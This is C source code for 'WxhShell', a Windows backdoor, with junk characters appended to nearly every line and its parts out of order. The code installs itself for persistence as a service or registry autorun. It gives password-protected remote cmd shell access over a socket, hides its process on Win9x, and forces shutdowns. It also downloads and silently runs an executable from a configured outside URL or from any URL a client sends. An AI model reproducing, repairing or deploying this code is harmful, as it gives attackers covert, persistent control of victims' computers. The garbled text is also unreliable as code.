    } 6Lc{SR  
    break; yt@7l]I  
    } cTJi8f=g  
  // 关机 -k8<LR3  
  case 'd': { |ns B'Q  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,` 64t'g  
    if(Boot(SHUTDOWN)) T@%\?=P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?yc{@|  
    else { v6M4KC2?  
    closesocket(wsh); y<g1q"F  
    ExitThread(0); [o"<DP6w  
    } ?:$\ t?e^  
    break; , UsY0YC  
    } i$5<>\g  
  // 获取shell OU esL9  
  case 's': { { MV,>T_  
    CmdShell(wsh); ?Qxf~,F  
    closesocket(wsh); KcvstC`  
    ExitThread(0); l+A)MJd oj  
    break; ;l %$-/%  
  } ?Gl]O3@3  
  // 退出 "qrde4O  
  case 'x': { S"4eS,5L|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); g7" 2}|qxo  
    CloseIt(wsh); (QTF+~)  
    break; x:K~?c3  
    } :N^+!,i  
  // 离开 z ub"Ap3  
  case 'q': { b} 0G~oLP  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); rez )$  
    closesocket(wsh); V1&qgAy~  
    WSACleanup(); L</k+a?H!  
    exit(1); RY .@_{  
    break; .He}f,!f<  
        } Rb!y(&>v  
  } F )Iz:  
  } @C|nc&E2s  
Obf RwZh?q  
  // 提示信息 w^"IR  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v YJ9G"E  
} ;_=N YG.  
  } PU,%Y_xR  
UCt}\IJ  
  return; /go|r '  
} 6CCm1F{`  
AP1&TQ,&  
// shell模块句柄 rQxiG[0  
int CmdShell(SOCKET sock) 5-hnk' ~  
{ e }Mf  
STARTUPINFO si; r7,}"Pl  
ZeroMemory(&si,sizeof(si)); e\em;GTy  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .* )e24`  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; D 5bPF~q  
PROCESS_INFORMATION ProcessInfo; )bWopc  
char cmdline[]="cmd"; k8?G%/TD  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )ViBH\.*p  
  return 0; 9=mc3m:Tb(  
} 1<tJ3>Xl  
i!x>)E  
// 自身启动模式 en'"" w  
int StartFromService(void) [j}JCmWY   
{ _i_P@I<M|~  
typedef struct " Lh&s<[  
{ Cz)&R^  
  DWORD ExitStatus; s+?2oPa  
  DWORD PebBaseAddress; wFX9F3m  
  DWORD AffinityMask; Gl@{y (  
  DWORD BasePriority; UE{$hLI?g  
  ULONG UniqueProcessId; 1ysQvz  
  ULONG InheritedFromUniqueProcessId; ?-zuy US  
}   PROCESS_BASIC_INFORMATION; &+n9T?+b  
P)kJ[Zv>f  
PROCNTQSIP NtQueryInformationProcess; g)5mr:\  
\BuyJskE  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^)wKS]BQ..  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; zak|* _  
a'-u(Bw  
  HANDLE             hProcess; d:k n%L6k_  
  PROCESS_BASIC_INFORMATION pbi; Wqkzj^;"G  
Wqkb1~]#Y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); o{6q>Jm  
  if(NULL == hInst ) return 0; *s,[Uy![  
nTv}/M&  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {l)$9!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); EJ>&\Iq  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); j.ucv  
qi B~  
  if (!NtQueryInformationProcess) return 0; D#G%WT/"  
>{N}UNZ$}  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); W|D kq  
  if(!hProcess) return 0; m`l9d4p w?  
FJDE48Vi  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <sw@P":F  
"(3u)o9  
  CloseHandle(hProcess); 0'Si ^>bW  
{9yf0n  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); BY.k.]/  
if(hProcess==NULL) return 0; V ^+p:nP  
J*[@M*R;&  
HMODULE hMod; 4Wp5[(bg  
char procName[255]; #R{>@]x`  
unsigned long cbNeeded; 3*& Y'/!  
0:`|T jf_  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); KW(a@X  
+i!5<nn  
  CloseHandle(hProcess); ?+))J~@t  
D3 yTN"  
if(strstr(procName,"services")) return 1; // 以服务启动 r|=1{N x  
Jup)A`64  
  return 0; // 注册表启动 ICb!AsL  
} PR Mg6  
&s='$a; 4  
// 主模块 UWF \Vx*)b  
int StartWxhshell(LPSTR lpCmdLine) [Q0V5P~Q'  
{ v!8=B21  
  SOCKET wsl; t&xoi7!$  
BOOL val=TRUE; 8 ECX[fw  
  int port=0; eD?&D_l~6  
  struct sockaddr_in door; ly-(F2  
W;'fAohr  
  if(wscfg.ws_autoins) Install(); E?G'F3i  
J7* o%W*V  
port=atoi(lpCmdLine); X58U>4a  
4%^z=%  
if(port<=0) port=wscfg.ws_port; bAPMD  
G;3%k.{  
  WSADATA data; 7-``J#9=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4 kjfYf@A  
 ,\s`T O  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Z-Uu/GjB  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); lcie6'<  
  door.sin_family = AF_INET; `UTPX'Vz  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); d/bimQ  
  door.sin_port = htons(port); 4LKpEl.=  
:Ln)j%&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |gA@WV-%  
closesocket(wsl); ' @RF  
return 1; >`\.i,X .D  
} zak\%yY`  
 yf:Vhr  
  if(listen(wsl,2) == INVALID_SOCKET) { /[<F f  
closesocket(wsl); 2ZY$/  
return 1; &em~+83  
} W;Y^(f  
  Wxhshell(wsl); M bWby'  
  WSACleanup(); =I`S7oF  
=mO5~~"W+v  
return 0; J, -.5  
c,xdkiy3  
} {^z73Gxt,  
UZI:st   
// 以NT服务方式启动 o]q~sJVk6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  u]Ku96!  
{ 6sBt6?_T  
DWORD   status = 0; mol,iM*l  
  DWORD   specificError = 0xfffffff; zr /v.$<  
Y"H`+UV  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 1z PS#K/3  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8>9Mh!t}(I  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Z)s !p  
  serviceStatus.dwWin32ExitCode     = 0; "[N2qJ}p  
  serviceStatus.dwServiceSpecificExitCode = 0; +})QTFV  
  serviceStatus.dwCheckPoint       = 0; ?4bYb]8Z  
  serviceStatus.dwWaitHint       = 0; 2g= 6 s  
rGP;0KtQ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5vyg-'  
  if (hServiceStatusHandle==0) return; V: D;?$Jl  
)8A.Wg4S;c  
status = GetLastError(); !:&SfPv  
  if (status!=NO_ERROR) ,VS\mG/}s  
{ %J M$]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; zMv`<m%  
    serviceStatus.dwCheckPoint       = 0; h$&Tg_/'#D  
    serviceStatus.dwWaitHint       = 0; CP J21^  
    serviceStatus.dwWin32ExitCode     = status; ;k!.ey $S  
    serviceStatus.dwServiceSpecificExitCode = specificError; Kk8wlC  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8"j$=T6;W  
    return; c["1t1G  
  } 6Qkjr</  
,`bW (V  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; /o9it;  
  serviceStatus.dwCheckPoint       = 0; NV * 2  
  serviceStatus.dwWaitHint       = 0; kG /1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <=NnrZOF  
} _d]{[& p4t  
.o/|]d`%  
// 处理NT服务事件,比如:启动、停止 93]63NY  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0`x>p6.)G  
{ AkQ(V  
switch(fdwControl) R! M'  
{ @D;K&:~|N  
case SERVICE_CONTROL_STOP: :qdyC sn2  
  serviceStatus.dwWin32ExitCode = 0; VW*%q0i-  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; CtCReH03  
  serviceStatus.dwCheckPoint   = 0; nnyT,e%  
  serviceStatus.dwWaitHint     = 0; v#?DWeaFS_  
  { ?{ )'O+s  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;0dH@b  
  } &V?+Y2  
  return; nLm'a_  
case SERVICE_CONTROL_PAUSE: ZWCsrV*;  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; a fa\6]m  
  break; =Fz mifTc  
case SERVICE_CONTROL_CONTINUE: 8xLQ" l+"  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; *|y'%y  
  break; ww{k_'RRJ  
case SERVICE_CONTROL_INTERROGATE: z:-{Y2F  
  break; BQ6$T&  
}; p6- //0qb  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gX{j$]^6G8  
} Q#%LIkeq  
SSI> +A  
// 标准应用程序主函数 <.ZIhDiEl  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?Z{/0X)]|  
{ E!Q@AZ  
BbX$R`f  
// 获取操作系统版本 -9om,U`t  
OsIsNt=GetOsVer(); Tv|'6P  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }ekNZNcuM  
k M /:n  
  // 从命令行安装 0kUhz\"R:q  
  if(strpbrk(lpCmdLine,"iI")) Install(); &`m.]RV  
'l/l]26rO4  
  // 下载执行文件 &MX&5@ Vu  
if(wscfg.ws_downexe) { l-XfUjJ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Qr R+3kxM  
  WinExec(wscfg.ws_filenam,SW_HIDE); %bP+P(vZ  
} &b@_ah+f  
K>'4^W5d,  
if(!OsIsNt) { xQZOGq  
// 如果时win9x,隐藏进程并且设置为注册表启动 %1{S{FB  
HideProc(); q?j7bp]  
StartWxhshell(lpCmdLine); e)H FI|>  
} wf  ]Wm  
else s>DFAu!  
  if(StartFromService()) \*MZ 1Q*x  
  // 以服务方式启动 L"YQji!  
  StartServiceCtrlDispatcher(DispatchTable); <W!T+sMQj  
else >7WT4l)7!b  
  // 普通方式启动 iX?j"=!  
  StartWxhshell(lpCmdLine); c\. )vH  
F7}yt  
return 0; 7oE:]  
} |}77'w :  
'@24<T]  
w?D=  
A@3'I  ;  
=========================================== 'cCM[P+  
ar@,SKU'K  
~[!Tpq5  
MTwzL<@$  
b|87=1^m[  
9+(b7L   
" %{ U (y#  
@^0}wk  
#include <stdio.h> !v3d:n\W8  
#include <string.h> "A[. 7w  
#include <windows.h> f:8!@,I  
#include <winsock2.h> -qSGa;PJ  
#include <winsvc.h> HA c"&#pG  
#include <urlmon.h> XyB_8(/E  
6Lq8#{/]u  
#pragma comment (lib, "Ws2_32.lib") - .) f~#8  
#pragma comment (lib, "urlmon.lib") <e Y2}Ml  
~I")-2"B  
#define MAX_USER   100 // 最大客户端连接数 h/5V~ :)  
#define BUF_SOCK   200 // sock buffer ZXhNn<  
#define KEY_BUFF   255 // 输入 buffer "S@]yL  
fm#7}Y  
#define REBOOT     0   // 重启 yu#m6K  
#define SHUTDOWN   1   // 关机 9|jMN j]vo  
ke6,&s%{j  
#define DEF_PORT   5000 // 监听端口 yTc&C)Jba  
#}6~>A  
#define REG_LEN     16   // 注册表键长度 P=_W{6  
#define SVC_LEN     80   // NT服务名长度 VVF9X(^rQ  
%M_F/O  
// 从dll定义API kJ* N`=  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); An]Vx<PD  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -Nr*na^H9#  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); h1'm[Y  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 6ZjUC1  
XcbEh  
// wxhshell配置信息 9n5uO[D  
struct WSCFG { ?5G; =#I  
  int ws_port;         // 监听端口 4{,!'NA  
  char ws_passstr[REG_LEN]; // 口令 0 Swu]OE  
  int ws_autoins;       // 安装标记, 1=yes 0=no T2?.o.&u  
  char ws_regname[REG_LEN]; // 注册表键名 G~zfPBN0D  
  char ws_svcname[REG_LEN]; // 服务名 _+}o/449  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 2(Xu?W 7d  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !FK)iQy$0  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,A#gF_8  
int ws_downexe;       // 下载执行标记, 1=yes 0=no KsTE)@ F:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" R<3 -!p1v  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 iQ;lvOja  
s_Z5M2o  
}; 1q ZnyJ  
6d5q<C_3t  
// default Wxhshell configuration iOAn/[^xk  
struct WSCFG wscfg={DEF_PORT, 3?k<e  
    "xuhuanlingzhe", zl, Vj%d  
    1, vqF=kB"P  
    "Wxhshell", F.Bij8\  
    "Wxhshell", ow+_g R-  
            "WxhShell Service", D3tcwjXoW_  
    "Wrsky Windows CmdShell Service", Qp@}v7Due  
    "Please Input Your Password: ", ^c}kVQ\g3  
  1,  >YdLB@  
  "http://www.wrsky.com/wxhshell.exe", [pt U}  
  "Wxhshell.exe" 2L.6!THG  
    }; y`z?lmV)xM  
X~*/ ~f  
// 消息定义模块 iDCQqj`  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #T>pu/EQX_  
char *msg_ws_prompt="\n\r? for help\n\r#>"; kB?Uw#  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ZKS]BbMZa  
char *msg_ws_ext="\n\rExit."; WK#c* rsij  
char *msg_ws_end="\n\rQuit."; ),,0T/69+9  
char *msg_ws_boot="\n\rReboot..."; dF&@q,  
char *msg_ws_poff="\n\rShutdown..."; DEPsud;  
char *msg_ws_down="\n\rSave to "; (nkiuCO  
N7q6pBA"E  
char *msg_ws_err="\n\rErr!"; B90fUK2g  
char *msg_ws_ok="\n\rOK!"; {\h:k\k  
&`'@}o>2  
char ExeFile[MAX_PATH]; !h^_2IX  
int nUser = 0; g/!tp;e  
HANDLE handles[MAX_USER]; *I9O63  
int OsIsNt; nWd;XR6|  
z@<jZM  
SERVICE_STATUS       serviceStatus; {H=<5   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &j"_hFhv  
1O2V!?P  
// 函数声明 *mw *z|-^V  
int Install(void); M^n^wz  
int Uninstall(void); V_4=0(  
int DownloadFile(char *sURL, SOCKET wsh); MHCwjo"  
int Boot(int flag); CQ{pv3)  
void HideProc(void); /BS yanro  
int GetOsVer(void); M3fTU CR  
int Wxhshell(SOCKET wsl); gd0a,_`M  
void TalkWithClient(void *cs); Rx@0EPV  
int CmdShell(SOCKET sock); FZ FPzH  
int StartFromService(void); Lu71Qdu09  
int StartWxhshell(LPSTR lpCmdLine); *y~~~ 'J/  
e\ZV^h}TQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); gP!k[E ,Q8  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Gfep m$*%  
U]M5&R=?  
// 数据结构和表定义 a3[,3  
SERVICE_TABLE_ENTRY DispatchTable[] = Eh *u6K)Z  
{ \h}sA  
{wscfg.ws_svcname, NTServiceMain}, #=ko4?Wr(  
{NULL, NULL} }'p*C$  
}; MMQ\V(C  
z>*\nomOn=  
// 自我安装 TQpR'  
int Install(void) K:$GmV9o  
{ 3my_Gp  
  char svExeFile[MAX_PATH]; 0.~s>xXp  
  HKEY key; E,/nK  
  strcpy(svExeFile,ExeFile); u&j_;Y!6  
$b )k  
// 如果是win9x系统,修改注册表设为自启动 ] $F%  
if(!OsIsNt) { uOx"oR|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { BWkTQd<t  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z|<?=c2P  
  RegCloseKey(key); ^_=bssaOd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { b:x~Jz#%2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8wCB}qC  
  RegCloseKey(key);  ,}^FV~  
  return 0; Rz<'& Z>;  
    } "!#KQ''R  
  } yi<H }&  
} q^}iXE~  
else { G,b*Qn5#  
 cj|Urt  
// 如果是NT以上系统,安装为系统服务 EiPOY'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); C jz(-018  
if (schSCManager!=0) LoO"d'{  
{  {T5u"U4  
  SC_HANDLE schService = CreateService }(#;{_  
  ( /9ZU_y4&3f  
  schSCManager, ,/eAns`ZU  
  wscfg.ws_svcname, cZ ,}1?!  
  wscfg.ws_svcdisp, rL/H{.@$`  
  SERVICE_ALL_ACCESS, `Js"*[z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , M?qvI  
  SERVICE_AUTO_START, yh+.Yn=+  
  SERVICE_ERROR_NORMAL, Y";K WA}b  
  svExeFile, !!)NER-dv  
  NULL, r:t3Kf`+E-  
  NULL, > q8)~  
  NULL, riSgb=7q9  
  NULL, M ~6 $kT  
  NULL lG`%4}1  
  ); .6pVt_f0/  
  if (schService!=0) V+$fh2t  
  { ._6Q "JAB  
  CloseServiceHandle(schService); nCLEAe$W\=  
  CloseServiceHandle(schSCManager); =AX"'q  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); j^mpkv<P  
  strcat(svExeFile,wscfg.ws_svcname); H6M G5f_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { GjX6noqT  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); "BC;zH:  
  RegCloseKey(key); :d|~k  
  return 0; 3 5p) e c  
    } %vRCs]  
  } 9bUFxSH  
  CloseServiceHandle(schSCManager); =DXN`]uN  
} 4mm>6w8NT  
} ufocj1IU  
4V'HPD>=V  
return 1; be HEAQ  
} d_Z?i#r0l  
=F46v{la  
// 自我卸载 ;esOe\z jE  
int Uninstall(void) HDj260a  
{ a-NicjV#  
  HKEY key; V=H:`n3k  
Bm +Ca:p%  
if(!OsIsNt) { ,Y7QmbX^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5jsZJpk$  
  RegDeleteValue(key,wscfg.ws_regname); Lv<vMIr  
  RegCloseKey(key); ,#j'~-5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^MvBW6#1  
  RegDeleteValue(key,wscfg.ws_regname); !d1a9los  
  RegCloseKey(key); _W>xFBy  
  return 0; 9D7i>e%,;-  
  } pL ,l  
} {n(/ c33  
} 9`7>" [=P  
else { di37   
V}Ce3wgvA  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); FQ u c}A  
if (schSCManager!=0) *eMMfxFl  
{ C40o_1g  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); c6VyF=2q  
  if (schService!=0) )D&xyC}  
  { |u+!CR  
  if(DeleteService(schService)!=0) { HbJ^L:/  
  CloseServiceHandle(schService); 9u%(9Ae  
  CloseServiceHandle(schSCManager); dQy K4T  
  return 0; aAgQ^LY  
  } m{r#o?  
  CloseServiceHandle(schService); '%y;{,g*  
  } `pqTiV  
  CloseServiceHandle(schSCManager); gzN51B=D  
} r'MA$PiS'  
} _Sl3)  
&mm!UJ  
return 1; QSOG(}w  
} 9A *gW j  
]D,\(|  
// 从指定url下载文件 -L!lJ  
int DownloadFile(char *sURL, SOCKET wsh) }ldpudU  
{ \t)`Cp6,[b  
  HRESULT hr; z#2n+hwE  
char seps[]= "/"; S1U[{R?,  
char *token;  BO.Db``  
char *file; >~_)2_j  
char myURL[MAX_PATH]; IRTD(7"oyp  
char myFILE[MAX_PATH]; pj7v{H+  
aa{+,(  
strcpy(myURL,sURL); ^,aI2vC  
  token=strtok(myURL,seps); 'UM *7  
  while(token!=NULL) G=|~SYz  
  {  s;-AZr)  
    file=token; V)P8w#,  
  token=strtok(NULL,seps); a4pewg'  
  } nkf7Fq}  
7mE9Zo1  
GetCurrentDirectory(MAX_PATH,myFILE); 8{_lB#<[E  
strcat(myFILE, "\\"); gU1Pb]]  
strcat(myFILE, file); L @Q+HN  
  send(wsh,myFILE,strlen(myFILE),0); 8[D"  
send(wsh,"...",3,0); 8e1Z:axn0  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }_5R9w]"  
  if(hr==S_OK) Udq!YXE0  
return 0; \>X!n2rLZe  
else x,ZF+vE  
return 1; w^U{e xo  
[v\m)5  
} n~.$iN  
(>NZYPw^3  
// 系统电源模块 g/VV2^,  
int Boot(int flag) <_#2+7Qs  
{ dFy GI?  
  HANDLE hToken; I&31jn_o /  
  TOKEN_PRIVILEGES tkp; @0d"^  
dCe LW  
  if(OsIsNt) { mhy='AQJ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 8:> V'j  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $sS~hy*  
    tkp.PrivilegeCount = 1; lqKj;'  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; eTuKu(0 E  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); }1W@  
if(flag==REBOOT) { )]s<Czm%  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) T^(> 8/O  
  return 0; @\o"zU  
} iaLZ|\`3a  
else { cnI5 G!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) @bJIN]R  
  return 0; ^3 9lUKL  
} : ^("L,AF  
  } M:b#">M  
  else { =4l @A>  
if(flag==REBOOT) { )BvMFwQG  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Hf\sF(, (  
  return 0; 0^sY>N"  
} dvU{U@:sz  
else {  *} ?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) n,2   
  return 0; =^i K^)  
} mEsb_3?#+  
} 7eju%d  
+vaA P=  
return 1; Jv+w{"&  
} oQObr  
y.c6r> }  
// win9x进程隐藏模块 &T~X`{V]`  
void HideProc(void) QS5t~rb  
{ -z0;4O (K]  
Kk6=61}A  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); .7  0  
  if ( hKernel != NULL ) 8B:y46  
  { o~)o/(>ox  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "ayV8{m^3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %9a3$OGZX  
    FreeLibrary(hKernel); 1P*hC<  
  } kDMvTVd  
HE%/+mZN  
return; bWAa: r  
} q\]X1N  
W(R~K -  
// 获取操作系统版本 ?-vWNv  
int GetOsVer(void) .<F46?HS  
{ bXOKC  
  OSVERSIONINFO winfo; O ~6%Iz`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]i@73h YT  
  GetVersionEx(&winfo); OtmDZ.t;`  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  d]`6N  
  return 1; 6UuN-7z!"  
  else BB\GrD  
  return 0; H8FvI"J  
} lz~^*\ F  
%DYh<U4N  
// 客户端句柄模块 "(7y% TFt:  
int Wxhshell(SOCKET wsl) A*?PH`bY  
{ b4i=%]v8  
  SOCKET wsh; rZJJ\ , |  
  struct sockaddr_in client; e;"J,7@  
  DWORD myID; n@RmH>"  
$Dj8 a\L  
  while(nUser<MAX_USER) dAx ? ,  
{ ?$ e]K/*  
  int nSize=sizeof(client); H.ksI;,  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _ZK^J S  
  if(wsh==INVALID_SOCKET) return 1; w\o6G7  
f7~dn#<@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); QQ.?A(U7  
if(handles[nUser]==0) P'lnS&yA  
  closesocket(wsh); ;v@G  
else ['=O>YY  
  nUser++; W_ `]7RO8  
  } {MUiK 5:  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +ig%_QED[\  
4@@Sh`E:  
  return 0; Y:ly x-lj  
} .Rk8qRB  
!Ud'(iGa  
// 关闭 socket 9f( X7kt  
void CloseIt(SOCKET wsh) uI7n{4W*x  
{ w~b:9_reY  
closesocket(wsh); $:F+Nf 8  
nUser--; OX]$Xdb2:  
ExitThread(0); _M%S  
} ~4{q  
"kyCY9) %  
// 客户端请求句柄 wS*r<zj  
void TalkWithClient(void *cs) #XDgvX >  
{ =#V^t$  
P[ :_"4U  
  SOCKET wsh=(SOCKET)cs; '6dVe 2V  
  char pwd[SVC_LEN]; <#C,66k  
  char cmd[KEY_BUFF]; `s CwgY+  
char chr[1]; qg oB}n%  
int i,j; 3Tl<ST\  
\9VF)Y.ke  
  while (nUser < MAX_USER) { Q6qW?*Y  
(4+P7Z,Nc  
if(wscfg.ws_passstr) { E{|B&6$[}  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,I jZQ53q~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qgrJi +WZ  
  //ZeroMemory(pwd,KEY_BUFF); U|} ?{x  
      i=0; VV$t*9w  
  while(i<SVC_LEN) { ,/{e%J  
{JgY-#R?{(  
  // 设置超时 gm-[x5O"  
  fd_set FdRead; WP L@v+  
  struct timeval TimeOut; =b%}x >>  
  FD_ZERO(&FdRead); D!rPF)K )  
  FD_SET(wsh,&FdRead); 'E_~ |C  
  TimeOut.tv_sec=8; M/?,Qii  
  TimeOut.tv_usec=0; UY< PiP  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8z#Qp(he  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); y@3p5o9lv-  
p'K`K\X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); WA`A/`taT  
  pwd=chr[0]; U N9hZ>9  
  if(chr[0]==0xd || chr[0]==0xa) { 7)lEZJK&T  
  pwd=0; +X=*>^G(-  
  break; Y,}_LS$f  
  } Jl/wP   
  i++; WoEK #,I;  
    } nq M7Is  
p~$cwbQ!  
  // 如果是非法用户,关闭 socket O(T5  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $H)^o!  
} 4@ PA+(kvS  
Xqf,_I=V  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .Kb3VNgwvm  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >pv.,cj  
vF27+/2+R  
while(1) { BX >L7n  
;g|Vt}a&4  
  ZeroMemory(cmd,KEY_BUFF); npdljLN  
G *CPj^O  
      // 自动支持客户端 telnet标准   mJSfn"b}K  
  j=0; Hb)FeGsd).  
  while(j<KEY_BUFF) { |6E_N5~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); SI}s  
  cmd[j]=chr[0]; #a8kA"X  
  if(chr[0]==0xa || chr[0]==0xd) { .IeO+RDQ  
  cmd[j]=0; ^D+J k8  
  break; WMB%?30  
  } &$MC!iMh  
  j++; n>Ff tVZNJ  
    } s<O$ Y  
~aob@(  
  // 下载文件 8SGaS&  
  if(strstr(cmd,"http://")) { 9wvlR6z;u  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); QQ(}71U  
  if(DownloadFile(cmd,wsh)) L+am-k:T~  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3Ua?^2l  
  else EW `hL~{  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6Tl6A>%s  
  } ^hIdmTf6  
